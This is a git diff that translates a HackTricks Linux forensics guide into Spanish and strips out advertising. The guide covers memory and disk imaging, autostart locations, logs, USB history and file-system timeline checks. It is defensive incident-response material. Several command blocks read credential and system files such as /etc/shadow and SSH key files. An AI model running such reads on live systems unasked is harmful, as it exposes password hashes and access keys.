- -{% embed url="https://websec.nl/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md index 568da19c5..83746f8af 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md @@ -1,28 +1,17 @@ # Linux Forensics -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} - {{#include ../../banners/hacktricks-training.md}} -## Initial Information Gathering +## Recolección Inicial de Información -### Basic Information - -First of all, it's recommended to have some **USB** with **good known binaries and libraries on it** (you can just get ubuntu and copy the folders _/bin_, _/sbin_, _/lib,_ and _/lib64_), then mount the USB, and modify the env variables to use those binaries: +### Información Básica +Primero que nada, se recomienda tener un **USB** con **binaries y bibliotecas bien conocidas** (puedes simplemente obtener ubuntu y copiar las carpetas _/bin_, _/sbin_, _/lib,_ y _/lib64_), luego monta el USB y modifica las variables de entorno para usar esos binaries: ```bash export PATH=/mnt/usb/bin:/mnt/usb/sbin export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 ``` - -Once you have configured the system to use good and known binaries you can start **extracting some basic information**: - +Una vez que hayas configurado el sistema para usar binarios buenos y conocidos, puedes comenzar a **extraer información básica**: ```bash date #Date and time (Clock may be skewed, Might be at a different timezone) uname -a #OS info @@ -40,50 +29,46 @@ cat /etc/passwd #Unexpected data? cat /etc/shadow #Unexpected data? find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory ``` +#### Información sospechosa -#### Suspicious information +Mientras obtienes la información básica, deberías verificar cosas extrañas como: -While obtaining the basic information you should check for weird things like: +- **Los procesos de root** generalmente se ejecutan con PIDS bajos, así que si encuentras un proceso de root con un PID grande, puedes sospechar. +- Verifica los **inicios de sesión registrados** de usuarios sin un shell dentro de `/etc/passwd`. +- Verifica los **hashes de contraseñas** dentro de `/etc/shadow` para usuarios sin un shell. -- **Root processes** usually run with low PIDS, so if you find a root process with a big PID you may suspect -- Check **registered logins** of users without a shell inside `/etc/passwd` -- Check for **password hashes** inside `/etc/shadow` for users without a shell +### Volcado de memoria -### Memory Dump - -To obtain the memory of the running system, it's recommended to use [**LiME**](https://github.com/504ensicsLabs/LiME).\ -To **compile** it, you need to use the **same kernel** that the victim machine is using. +Para obtener la memoria del sistema en ejecución, se recomienda usar [**LiME**](https://github.com/504ensicsLabs/LiME).\ +Para **compilarlo**, necesitas usar el **mismo kernel** que está utilizando la máquina víctima. > [!NOTE] -> Remember that you **cannot install LiME or any other thing** in the victim machine as it will make several changes to it - -So, if you have an identical version of Ubuntu you can use `apt-get install lime-forensics-dkms`\ -In other cases, you need to download [**LiME**](https://github.com/504ensicsLabs/LiME) from github and compile it with correct kernel headers. To **obtain the exact kernel headers** of the victim machine, you can just **copy the directory** `/lib/modules/` to your machine, and then **compile** LiME using them: +> Recuerda que **no puedes instalar LiME ni nada más** en la máquina víctima, ya que hará varios cambios en ella. +Así que, si tienes una versión idéntica de Ubuntu, puedes usar `apt-get install lime-forensics-dkms`\ +En otros casos, necesitas descargar [**LiME**](https://github.com/504ensicsLabs/LiME) de github y compilarlo con los encabezados de kernel correctos. Para **obtener los encabezados de kernel exactos** de la máquina víctima, puedes simplemente **copiar el directorio** `/lib/modules/` a tu máquina, y luego **compilar** LiME usándolos: ```bash make -C /lib/modules//build M=$PWD sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" ``` +LiME soporta 3 **formatos**: -LiME supports 3 **formats**: +- Raw (cada segmento concatenado) +- Padded (igual que raw, pero con ceros en los bits de la derecha) +- Lime (formato recomendado con metadatos) -- Raw (every segment concatenated together) -- Padded (same as raw, but with zeroes in right bits) -- Lime (recommended format with metadata +LiME también se puede usar para **enviar el volcado a través de la red** en lugar de almacenarlo en el sistema usando algo como: `path=tcp:4444` -LiME can also be used to **send the dump via network** instead of storing it on the system using something like: `path=tcp:4444` +### Imagen de disco -### Disk Imaging +#### Apagado -#### Shutting down +Primero que nada, necesitarás **apagar el sistema**. Esto no siempre es una opción, ya que a veces el sistema será un servidor de producción que la empresa no puede permitirse apagar.\ +Hay **2 maneras** de apagar el sistema, un **apagado normal** y un **apagado de "desenchufar"**. El primero permitirá que los **procesos se terminen como de costumbre** y que el **sistema de archivos** esté **sincronizado**, pero también permitirá que el posible **malware** **destruya evidencia**. El enfoque de "desenchufar" puede conllevar **alguna pérdida de información** (no se perderá mucha información ya que ya tomamos una imagen de la memoria) y el **malware no tendrá ninguna oportunidad** de hacer algo al respecto. Por lo tanto, si **sospechas** que puede haber un **malware**, simplemente ejecuta el **comando** **`sync`** en el sistema y desenchufa. -First of all, you will need to **shut down the system**. This isn't always an option as some times system will be a production server that the company cannot afford to shut down.\ -There are **2 ways** of shutting down the system, a **normal shutdown** and a **"plug the plug" shutdown**. The first one will allow the **processes to terminate as usual** and the **filesystem** to be **synchronized**, but it will also allow the possible **malware** to **destroy evidence**. The "pull the plug" approach may carry **some information loss** (not much of the info is going to be lost as we already took an image of the memory ) and the **malware won't have any opportunity** to do anything about it. Therefore, if you **suspect** that there may be a **malware**, just execute the **`sync`** **command** on the system and pull the plug. - -#### Taking an image of the disk - -It's important to note that **before connecting your computer to anything related to the case**, you need to be sure that it's going to be **mounted as read only** to avoid modifying any information. +#### Tomando una imagen del disco +Es importante notar que **antes de conectar tu computadora a cualquier cosa relacionada con el caso**, necesitas asegurarte de que se va a **montar como solo lectura** para evitar modificar cualquier información. ```bash #Create a raw copy of the disk dd if= of= bs=512 @@ -92,11 +77,9 @@ dd if= of= bs=512 dcfldd if= of= bs=512 hash= hashwindow= hashlog= dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes ``` +### Análisis previo de la imagen del disco -### Disk Image pre-analysis - -Imaging a disk image with no more data. - +Imágenes de una imagen de disco sin más datos. ```bash #Find out if it's a disk image using "file" command file disk.img @@ -108,12 +91,12 @@ raw #You can list supported types with img_stat -i list Supported image format types: - raw (Single or split raw file (dd)) - aff (Advanced Forensic Format) - afd (AFF Multiple File) - afm (AFF with external metadata) - afflib (All AFFLIB image formats (including beta ones)) - ewf (Expert Witness Format (EnCase)) +raw (Single or split raw file (dd)) +aff (Advanced Forensic Format) +afd (AFF Multiple File) +afm (AFF with external metadata) +afflib (All AFFLIB image formats (including beta ones)) +ewf (Expert Witness Format (EnCase)) #Data of the image fsstat -i raw -f ext4 disk.img @@ -149,41 +132,31 @@ r/r 16: secret.txt icat -i raw -f ext4 disk.img 16 ThisisTheMasterSecret ``` +## Buscar Malware conocido -
+### Archivos del sistema modificados -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Linux ofrece herramientas para garantizar la integridad de los componentes del sistema, crucial para detectar archivos potencialmente problemáticos. -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} +- **Sistemas basados en RedHat**: Use `rpm -Va` para una verificación completa. +- **Sistemas basados en Debian**: `dpkg --verify` para una verificación inicial, seguido de `debsums | grep -v "OK$"` (después de instalar `debsums` con `apt-get install debsums`) para identificar cualquier problema. -## Search for known Malware +### Detectores de Malware/Rootkit -### Modified System Files - -Linux offers tools for ensuring the integrity of system components, crucial for spotting potentially problematic files. - -- **RedHat-based systems**: Use `rpm -Va` for a comprehensive check. -- **Debian-based systems**: `dpkg --verify` for initial verification, followed by `debsums | grep -v "OK$"` (after installing `debsums` with `apt-get install debsums`) to identify any issues. - -### Malware/Rootkit Detectors - -Read the following page to learn about tools that can be useful to find malware: +Lea la siguiente página para aprender sobre herramientas que pueden ser útiles para encontrar malware: {{#ref}} malware-analysis.md {{#endref}} -## Search installed programs +## Buscar programas instalados -To effectively search for installed programs on both Debian and RedHat systems, consider leveraging system logs and databases alongside manual checks in common directories. +Para buscar de manera efectiva programas instalados en sistemas Debian y RedHat, considere aprovechar los registros del sistema y bases de datos junto con verificaciones manuales en directorios comunes. -- For Debian, inspect _**`/var/lib/dpkg/status`**_ and _**`/var/log/dpkg.log`**_ to fetch details about package installations, using `grep` to filter for specific information. -- RedHat users can query the RPM database with `rpm -qa --root=/mntpath/var/lib/rpm` to list installed packages. - -To uncover software installed manually or outside of these package managers, explore directories like _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, and _**`/sbin`**_. Combine directory listings with system-specific commands to identify executables not associated with known packages, enhancing your search for all installed programs. +- Para Debian, inspeccione _**`/var/lib/dpkg/status`**_ y _**`/var/log/dpkg.log`**_ para obtener detalles sobre las instalaciones de paquetes, utilizando `grep` para filtrar información específica. +- Los usuarios de RedHat pueden consultar la base de datos RPM con `rpm -qa --root=/mntpath/var/lib/rpm` para listar los paquetes instalados. +Para descubrir software instalado manualmente o fuera de estos gestores de paquetes, explore directorios como _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ y _**`/sbin`**_. Combine listados de directorios con comandos específicos del sistema para identificar ejecutables no asociados con paquetes conocidos, mejorando su búsqueda de todos los programas instalados. ```bash # Debian package and log details cat /var/lib/dpkg/status | grep -E "Package:|Status:" @@ -199,29 +172,17 @@ find /sbin/ –exec rpm -qf {} \; | grep "is not" # Find exacuable files find / -type f -executable | grep ``` +## Recuperar Binarios Ejecutables Borrados -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} - -## Recover Deleted Running Binaries - -Imagine a process that was executed from /tmp/exec and then deleted. It's possible to extract it - +Imagina un proceso que se ejecutó desde /tmp/exec y luego fue borrado. Es posible extraerlo. ```bash cd /proc/3746/ #PID with the exec file deleted head -1 maps #Get address of the file. It was 08048000-08049000 dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it ``` +## Inspeccionar ubicaciones de inicio automático -## Inspect Autostart locations - -### Scheduled Tasks - +### Tareas programadas ```bash cat /var/spool/cron/crontabs/* \ /var/spool/cron/atjobs \ @@ -235,61 +196,60 @@ cat /var/spool/cron/crontabs/* \ #MacOS ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ``` +### Servicios -### Services +Rutas donde un malware podría instalarse como un servicio: -Paths where a malware could be installed as a service: +- **/etc/inittab**: Llama a scripts de inicialización como rc.sysinit, dirigiendo posteriormente a scripts de inicio. +- **/etc/rc.d/** y **/etc/rc.boot/**: Contienen scripts para el inicio de servicios, siendo este último encontrado en versiones más antiguas de Linux. +- **/etc/init.d/**: Usado en ciertas versiones de Linux como Debian para almacenar scripts de inicio. +- Los servicios también pueden ser activados a través de **/etc/inetd.conf** o **/etc/xinetd/**, dependiendo de la variante de Linux. +- **/etc/systemd/system**: Un directorio para scripts del gestor de sistema y servicios. +- **/etc/systemd/system/multi-user.target.wants/**: Contiene enlaces a servicios que deben iniciarse en un nivel de ejecución multiusuario. +- **/usr/local/etc/rc.d/**: Para servicios personalizados o de terceros. +- **\~/.config/autostart/**: Para aplicaciones de inicio automático específicas del usuario, que pueden ser un escondite para malware dirigido a usuarios. +- **/lib/systemd/system/**: Archivos de unidad predeterminados a nivel de sistema proporcionados por paquetes instalados. -- **/etc/inittab**: Calls initialization scripts like rc.sysinit, directing further to startup scripts. -- **/etc/rc.d/** and **/etc/rc.boot/**: Contain scripts for service startup, the latter being found in older Linux versions. -- **/etc/init.d/**: Used in certain Linux versions like Debian for storing startup scripts. -- Services may also be activated via **/etc/inetd.conf** or **/etc/xinetd/**, depending on the Linux variant. -- **/etc/systemd/system**: A directory for system and service manager scripts. -- **/etc/systemd/system/multi-user.target.wants/**: Contains links to services that should be started in a multi-user runlevel. -- **/usr/local/etc/rc.d/**: For custom or third-party services. -- **\~/.config/autostart/**: For user-specific automatic startup applications, which can be a hiding spot for user-targeted malware. -- **/lib/systemd/system/**: System-wide default unit files provided by installed packages. +### Módulos del Kernel -### Kernel Modules +Los módulos del kernel de Linux, a menudo utilizados por malware como componentes de rootkit, se cargan al inicio del sistema. Los directorios y archivos críticos para estos módulos incluyen: -Linux kernel modules, often utilized by malware as rootkit components, are loaded at system boot. The directories and files critical for these modules include: +- **/lib/modules/$(uname -r)**: Contiene módulos para la versión del kernel en ejecución. +- **/etc/modprobe.d**: Contiene archivos de configuración para controlar la carga de módulos. +- **/etc/modprobe** y **/etc/modprobe.conf**: Archivos para configuraciones globales de módulos. -- **/lib/modules/$(uname -r)**: Holds modules for the running kernel version. -- **/etc/modprobe.d**: Contains configuration files to control module loading. -- **/etc/modprobe** and **/etc/modprobe.conf**: Files for global module settings. +### Otras Ubicaciones de Autoinicio -### Other Autostart Locations +Linux emplea varios archivos para ejecutar automáticamente programas al iniciar sesión del usuario, potencialmente albergando malware: -Linux employs various files for automatically executing programs upon user login, potentially harboring malware: +- **/etc/profile.d/**\*, **/etc/profile**, y **/etc/bash.bashrc**: Se ejecutan para cualquier inicio de sesión de usuario. +- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, y **\~/.config/autostart**: Archivos específicos del usuario que se ejecutan al iniciar sesión. +- **/etc/rc.local**: Se ejecuta después de que todos los servicios del sistema han comenzado, marcando el final de la transición a un entorno multiusuario. -- **/etc/profile.d/**\*, **/etc/profile**, and **/etc/bash.bashrc**: Executed for any user login. -- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, and **\~/.config/autostart**: User-specific files that run upon their login. -- **/etc/rc.local**: Runs after all system services have started, marking the end of the transition to a multiuser environment. +## Examinar Registros -## Examine Logs +Los sistemas Linux rastrean las actividades de los usuarios y los eventos del sistema a través de varios archivos de registro. Estos registros son fundamentales para identificar accesos no autorizados, infecciones de malware y otros incidentes de seguridad. Los archivos de registro clave incluyen: -Linux systems track user activities and system events through various log files. These logs are pivotal for identifying unauthorized access, malware infections, and other security incidents. Key log files include: - -- **/var/log/syslog** (Debian) or **/var/log/messages** (RedHat): Capture system-wide messages and activities. -- **/var/log/auth.log** (Debian) or **/var/log/secure** (RedHat): Record authentication attempts, successful and failed logins. - - Use `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` to filter relevant authentication events. -- **/var/log/boot.log**: Contains system startup messages. -- **/var/log/maillog** or **/var/log/mail.log**: Logs email server activities, useful for tracking email-related services. -- **/var/log/kern.log**: Stores kernel messages, including errors and warnings. -- **/var/log/dmesg**: Holds device driver messages. -- **/var/log/faillog**: Records failed login attempts, aiding in security breach investigations. -- **/var/log/cron**: Logs cron job executions. -- **/var/log/daemon.log**: Tracks background service activities. -- **/var/log/btmp**: Documents failed login attempts. -- **/var/log/httpd/**: Contains Apache HTTPD error and access logs. -- **/var/log/mysqld.log** or **/var/log/mysql.log**: Logs MySQL database activities. -- **/var/log/xferlog**: Records FTP file transfers. -- **/var/log/**: Always check for unexpected logs here. +- **/var/log/syslog** (Debian) o **/var/log/messages** (RedHat): Capturan mensajes y actividades a nivel de sistema. +- **/var/log/auth.log** (Debian) o **/var/log/secure** (RedHat): Registran intentos de autenticación, inicios de sesión exitosos y fallidos. +- Usa `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` para filtrar eventos de autenticación relevantes. +- **/var/log/boot.log**: Contiene mensajes de inicio del sistema. +- **/var/log/maillog** o **/var/log/mail.log**: Registra actividades del servidor de correo, útil para rastrear servicios relacionados con el correo electrónico. +- **/var/log/kern.log**: Almacena mensajes del kernel, incluidos errores y advertencias. +- **/var/log/dmesg**: Contiene mensajes del controlador de dispositivos. +- **/var/log/faillog**: Registra intentos de inicio de sesión fallidos, ayudando en investigaciones de brechas de seguridad. +- **/var/log/cron**: Registra ejecuciones de trabajos cron. +- **/var/log/daemon.log**: Rastrear actividades de servicios en segundo plano. +- **/var/log/btmp**: Documenta intentos de inicio de sesión fallidos. +- **/var/log/httpd/**: Contiene registros de errores y accesos de Apache HTTPD. +- **/var/log/mysqld.log** o **/var/log/mysql.log**: Registra actividades de la base de datos MySQL. +- **/var/log/xferlog**: Registra transferencias de archivos FTP. +- **/var/log/**: Siempre verifica si hay registros inesperados aquí. > [!NOTE] -> Linux system logs and audit subsystems may be disabled or deleted in an intrusion or malware incident. Because logs on Linux systems generally contain some of the most useful information about malicious activities, intruders routinely delete them. Therefore, when examining available log files, it is important to look for gaps or out of order entries that might be an indication of deletion or tampering. +> Los registros del sistema Linux y los subsistemas de auditoría pueden estar deshabilitados o eliminados en un incidente de intrusión o malware. Debido a que los registros en los sistemas Linux generalmente contienen información muy útil sobre actividades maliciosas, los intrusos los eliminan rutinariamente. Por lo tanto, al examinar los archivos de registro disponibles, es importante buscar brechas o entradas fuera de orden que puedan ser una indicación de eliminación o manipulación. -**Linux maintains a command history for each user**, stored in: +**Linux mantiene un historial de comandos para cada usuario**, almacenado en: - \~/.bash_history - \~/.zsh_history @@ -297,42 +257,39 @@ Linux systems track user activities and system events through various log files. - \~/.python_history - \~/.\*\_history -Moreover, the `last -Faiwx` command provides a list of user logins. Check it for unknown or unexpected logins. +Además, el comando `last -Faiwx` proporciona una lista de inicios de sesión de usuarios. Verifícalo en busca de inicios de sesión desconocidos o inesperados. -Check files that can grant extra rprivileges: +Verifica archivos que pueden otorgar privilegios adicionales: -- Review `/etc/sudoers` for unanticipated user privileges that may have been granted. -- Review `/etc/sudoers.d/` for unanticipated user privileges that may have been granted. -- Examine `/etc/groups` to identify any unusual group memberships or permissions. -- Examine `/etc/passwd` to identify any unusual group memberships or permissions. +- Revisa `/etc/sudoers` en busca de privilegios de usuario no anticipados que puedan haberse otorgado. +- Revisa `/etc/sudoers.d/` en busca de privilegios de usuario no anticipados que puedan haberse otorgado. +- Examina `/etc/groups` para identificar cualquier membresía o permisos de grupo inusuales. +- Examina `/etc/passwd` para identificar cualquier membresía o permisos de grupo inusuales. -Some apps alse generates its own logs: +Algunas aplicaciones también generan sus propios registros: -- **SSH**: Examine _\~/.ssh/authorized_keys_ and _\~/.ssh/known_hosts_ for unauthorized remote connections. -- **Gnome Desktop**: Look into _\~/.recently-used.xbel_ for recently accessed files via Gnome applications. -- **Firefox/Chrome**: Check browser history and downloads in _\~/.mozilla/firefox_ or _\~/.config/google-chrome_ for suspicious activities. -- **VIM**: Review _\~/.viminfo_ for usage details, such as accessed file paths and search history. -- **Open Office**: Check for recent document access that may indicate compromised files. -- **FTP/SFTP**: Review logs in _\~/.ftp_history_ or _\~/.sftp_history_ for file transfers that might be unauthorized. -- **MySQL**: Investigate _\~/.mysql_history_ for executed MySQL queries, potentially revealing unauthorized database activities. -- **Less**: Analyze _\~/.lesshst_ for usage history, including viewed files and commands executed. -- **Git**: Examine _\~/.gitconfig_ and project _.git/logs_ for changes to repositories. +- **SSH**: Examina _\~/.ssh/authorized_keys_ y _\~/.ssh/known_hosts_ en busca de conexiones remotas no autorizadas. +- **Gnome Desktop**: Revisa _\~/.recently-used.xbel_ en busca de archivos accedidos recientemente a través de aplicaciones de Gnome. +- **Firefox/Chrome**: Verifica el historial del navegador y las descargas en _\~/.mozilla/firefox_ o _\~/.config/google-chrome_ en busca de actividades sospechosas. +- **VIM**: Revisa _\~/.viminfo_ para detalles de uso, como rutas de archivos accedidos e historial de búsqueda. +- **Open Office**: Verifica el acceso reciente a documentos que pueda indicar archivos comprometidos. +- **FTP/SFTP**: Revisa los registros en _\~/.ftp_history_ o _\~/.sftp_history_ en busca de transferencias de archivos que puedan ser no autorizadas. +- **MySQL**: Investiga _\~/.mysql_history_ en busca de consultas MySQL ejecutadas, que podrían revelar actividades no autorizadas en la base de datos. +- **Less**: Analiza _\~/.lesshst_ en busca de historial de uso, incluidos archivos vistos y comandos ejecutados. +- **Git**: Examina _\~/.gitconfig_ y el proyecto _.git/logs_ en busca de cambios en los repositorios. -### USB Logs +### Registros USB -[**usbrip**](https://github.com/snovvcrash/usbrip) is a small piece of software written in pure Python 3 which parses Linux log files (`/var/log/syslog*` or `/var/log/messages*` depending on the distro) for constructing USB event history tables. +[**usbrip**](https://github.com/snovvcrash/usbrip) es un pequeño software escrito en Python 3 puro que analiza archivos de registro de Linux (`/var/log/syslog*` o `/var/log/messages*` dependiendo de la distribución) para construir tablas de historial de eventos USB. -It is interesting to **know all the USBs that have been used** and it will be more useful if you have an authorized list of USBs to find "violation events" (the use of USBs that aren't inside that list). - -### Installation +Es interesante **conocer todos los USB que se han utilizado** y será más útil si tienes una lista autorizada de USB para encontrar "eventos de violación" (el uso de USB que no están dentro de esa lista). +### Instalación ```bash pip3 install usbrip usbrip ids download #Download USB ID database ``` - -### Examples - +### Ejemplos ```bash usbrip events history #Get USB history of your curent linux machine usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user @@ -340,40 +297,30 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR usbrip ids download #Downlaod database usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid ``` +Más ejemplos e información dentro del github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) -More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) +## Revisar Cuentas de Usuario y Actividades de Inicio de Sesión -
+Examine el _**/etc/passwd**_, _**/etc/shadow**_ y **registros de seguridad** en busca de nombres inusuales o cuentas creadas y/o utilizadas en estrecha proximidad a eventos no autorizados conocidos. Además, verifique posibles ataques de fuerza bruta a sudo.\ +Además, revise archivos como _**/etc/sudoers**_ y _**/etc/groups**_ en busca de privilegios inesperados otorgados a los usuarios.\ +Finalmente, busque cuentas con **sin contraseñas** o contraseñas **fácilmente adivinables**. -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +## Examinar el Sistema de Archivos -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} +### Análisis de Estructuras del Sistema de Archivos en la Investigación de Malware -## Review User Accounts and Logon Activities +Al investigar incidentes de malware, la estructura del sistema de archivos es una fuente crucial de información, revelando tanto la secuencia de eventos como el contenido del malware. Sin embargo, los autores de malware están desarrollando técnicas para obstaculizar este análisis, como modificar las marcas de tiempo de los archivos o evitar el sistema de archivos para el almacenamiento de datos. -Examine the _**/etc/passwd**_, _**/etc/shadow**_ and **security logs** for unusual names or accounts created and or used in close proximity to known unauthorized events. Also, check possible sudo brute-force attacks.\ -Moreover, check files like _**/etc/sudoers**_ and _**/etc/groups**_ for unexpected privileges given to users.\ -Finally, look for accounts with **no passwords** or **easily guessed** passwords. - -## Examine File System - -### Analyzing File System Structures in Malware Investigation - -When investigating malware incidents, the structure of the file system is a crucial source of information, revealing both the sequence of events and the malware's content. However, malware authors are developing techniques to hinder this analysis, such as modifying file timestamps or avoiding the file system for data storage. - -To counter these anti-forensic methods, it's essential to: - -- **Conduct a thorough timeline analysis** using tools like **Autopsy** for visualizing event timelines or **Sleuth Kit's** `mactime` for detailed timeline data. -- **Investigate unexpected scripts** in the system's $PATH, which might include shell or PHP scripts used by attackers. -- **Examine `/dev` for atypical files**, as it traditionally contains special files, but may house malware-related files. -- **Search for hidden files or directories** with names like ".. " (dot dot space) or "..^G" (dot dot control-G), which could conceal malicious content. -- **Identify setuid root files** using the command: `find / -user root -perm -04000 -print` This finds files with elevated permissions, which could be abused by attackers. -- **Review deletion timestamps** in inode tables to spot mass file deletions, possibly indicating the presence of rootkits or trojans. -- **Inspect consecutive inodes** for nearby malicious files after identifying one, as they may have been placed together. -- **Check common binary directories** (_/bin_, _/sbin_) for recently modified files, as these could be altered by malware. +Para contrarrestar estos métodos anti-forenses, es esencial: +- **Realizar un análisis de línea de tiempo exhaustivo** utilizando herramientas como **Autopsy** para visualizar líneas de tiempo de eventos o `mactime` de **Sleuth Kit** para datos de línea de tiempo detallados. +- **Investigar scripts inesperados** en el $PATH del sistema, que podrían incluir scripts de shell o PHP utilizados por atacantes. +- **Examinar `/dev` en busca de archivos atípicos**, ya que tradicionalmente contiene archivos especiales, pero puede albergar archivos relacionados con malware. +- **Buscar archivos o directorios ocultos** con nombres como ".. " (punto punto espacio) o "..^G" (punto punto control-G), que podrían ocultar contenido malicioso. +- **Identificar archivos setuid root** utilizando el comando: `find / -user root -perm -04000 -print` Esto encuentra archivos con permisos elevados, que podrían ser abusados por atacantes. +- **Revisar marcas de tiempo de eliminación** en tablas de inodos para detectar eliminaciones masivas de archivos, lo que podría indicar la presencia de rootkits o troyanos. +- **Inspeccionar inodos consecutivos** en busca de archivos maliciosos cercanos después de identificar uno, ya que pueden haber sido colocados juntos. +- **Verificar directorios binarios comunes** (_/bin_, _/sbin_) en busca de archivos modificados recientemente, ya que estos podrían haber sido alterados por malware. ````bash # List recent files in a directory: ls -laR --sort=time /bin``` @@ -381,58 +328,43 @@ ls -laR --sort=time /bin``` # Sort files in a directory by inode: ls -lai /bin | sort -n``` ```` - > [!NOTE] -> Note that an **attacker** can **modify** the **time** to make **files appear** **legitimate**, but he **cannot** modify the **inode**. If you find that a **file** indicates that it was created and modified at the **same time** as the rest of the files in the same folder, but the **inode** is **unexpectedly bigger**, then the **timestamps of that file were modified**. +> Tenga en cuenta que un **atacante** puede **modificar** el **tiempo** para hacer que los **archivos aparezcan** **legítimos**, pero no **puede** modificar el **inode**. Si encuentra que un **archivo** indica que fue creado y modificado al **mismo tiempo** que el resto de los archivos en la misma carpeta, pero el **inode** es **inesperadamente más grande**, entonces los **timestamps de ese archivo fueron modificados**. -## Compare files of different filesystem versions +## Comparar archivos de diferentes versiones del sistema de archivos -### Filesystem Version Comparison Summary +### Resumen de comparación de versiones del sistema de archivos -To compare filesystem versions and pinpoint changes, we use simplified `git diff` commands: - -- **To find new files**, compare two directories: +Para comparar versiones del sistema de archivos y señalar cambios, usamos comandos simplificados de `git diff`: +- **Para encontrar nuevos archivos**, compare dos directorios: ```bash git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/ ``` - -- **For modified content**, list changes while ignoring specific lines: - +- **Para contenido modificado**, enumere los cambios ignorando líneas específicas: ```bash git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time" ``` - -- **To detect deleted files**: - +- **Para detectar archivos eliminados**: ```bash git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ ``` +- **Las opciones de filtro** (`--diff-filter`) ayudan a reducir a cambios específicos como archivos añadidos (`A`), eliminados (`D`) o modificados (`M`). +- `A`: Archivos añadidos +- `C`: Archivos copiados +- `D`: Archivos eliminados +- `M`: Archivos modificados +- `R`: Archivos renombrados +- `T`: Cambios de tipo (por ejemplo, de archivo a symlink) +- `U`: Archivos no fusionados +- `X`: Archivos desconocidos +- `B`: Archivos rotos -- **Filter options** (`--diff-filter`) help narrow down to specific changes like added (`A`), deleted (`D`), or modified (`M`) files. - - `A`: Added files - - `C`: Copied files - - `D`: Deleted files - - `M`: Modified files - - `R`: Renamed files - - `T`: Type changes (e.g., file to symlink) - - `U`: Unmerged files - - `X`: Unknown files - - `B`: Broken files - -## References +## Referencias - [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf) - [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) - [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203) -- **Book: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides** +- **Libro: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides** {{#include ../../banners/hacktricks-training.md}} - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md index c7edd6650..4f21e7601 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md @@ -1,12 +1,12 @@ -# Malware Analysis +# Análisis de Malware {{#include ../../banners/hacktricks-training.md}} -## Forensics CheatSheets +## Hojas de Trucos de Forense [https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/) -## Online Services +## Servicios en Línea - [VirusTotal](https://www.virustotal.com/gui/home/upload) - [HybridAnalysis](https://www.hybrid-analysis.com) @@ 